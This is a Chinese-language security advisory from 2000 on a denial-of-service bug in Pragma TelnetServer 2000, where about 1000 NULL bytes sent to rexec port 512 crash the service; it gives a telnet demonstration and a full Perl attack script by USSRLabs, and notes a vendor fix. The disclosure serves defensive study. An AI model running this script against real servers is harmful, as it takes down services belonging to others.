PragmaSys TelnetServer 2000中的rexec存在缓冲区溢出漏洞
发布日期:2000-08-25
更新日期:2000-08-25
受影响系统:
Pragma TelnetServer 2000
- Microsoft Windows NT
- Microsoft Windows 2000
描述:
Pragma Systems开发了一个叫做TelnetServer 2000的windows平台上的远程存取服务程序。
如果给TelnetServer的rexec端口即512端口发送超过1000个NULL字符,则该服务程序就会崩溃。
匿名攻击者可以从Internet上的任何地方执行这种操作。目前尚不清楚这个明显的溢出能否被利
用来获得对被攻击的主机的存取权限。
<* 来源:U.S.S.R advisory USSR-2000051 *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
攻击示例:
[hellme@die-communitech.net$ telnet example.com 512
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]
其中[buffer]由大约1000个NULL字符组成,对这个请求的处理将引起服务器程序崩溃。
下面是一个进行攻击的Perl程序:
- -------------------------Start File--------------------
#!/usr/bin/perl
#########################################################
# Exploit by USSRLabs www.ussrback.com
# send 5k of null causes the server to crash.
#########################################################
#
# ./$0.pl -s <server> -p <port>
#
# Null request DoS
#
use Getopt::Std;
use Socket;
getopts('s:p', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$URL,$buf,$in_addr,$paddr,$proto);
$serv = $args{s}; # remote server
$port = $args{p} || 512; # remote port, default is 512
$foo = "\0"; # this is the Null
$number = "1000"; # this is the total number of Null
$data .= $foo x $number; # result of $foo times $number
$buf = "$data"; # issue this response to the server
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n$0 -s <server> [ -p <port> ]\n\n");}
- -------------------------End File----------------------
建议:
Pragma Systems已经意识到这个漏洞并准备在TelnetServer 2000 Build 2中更正。
浏览次数:7058
严重程度:0(网友投票)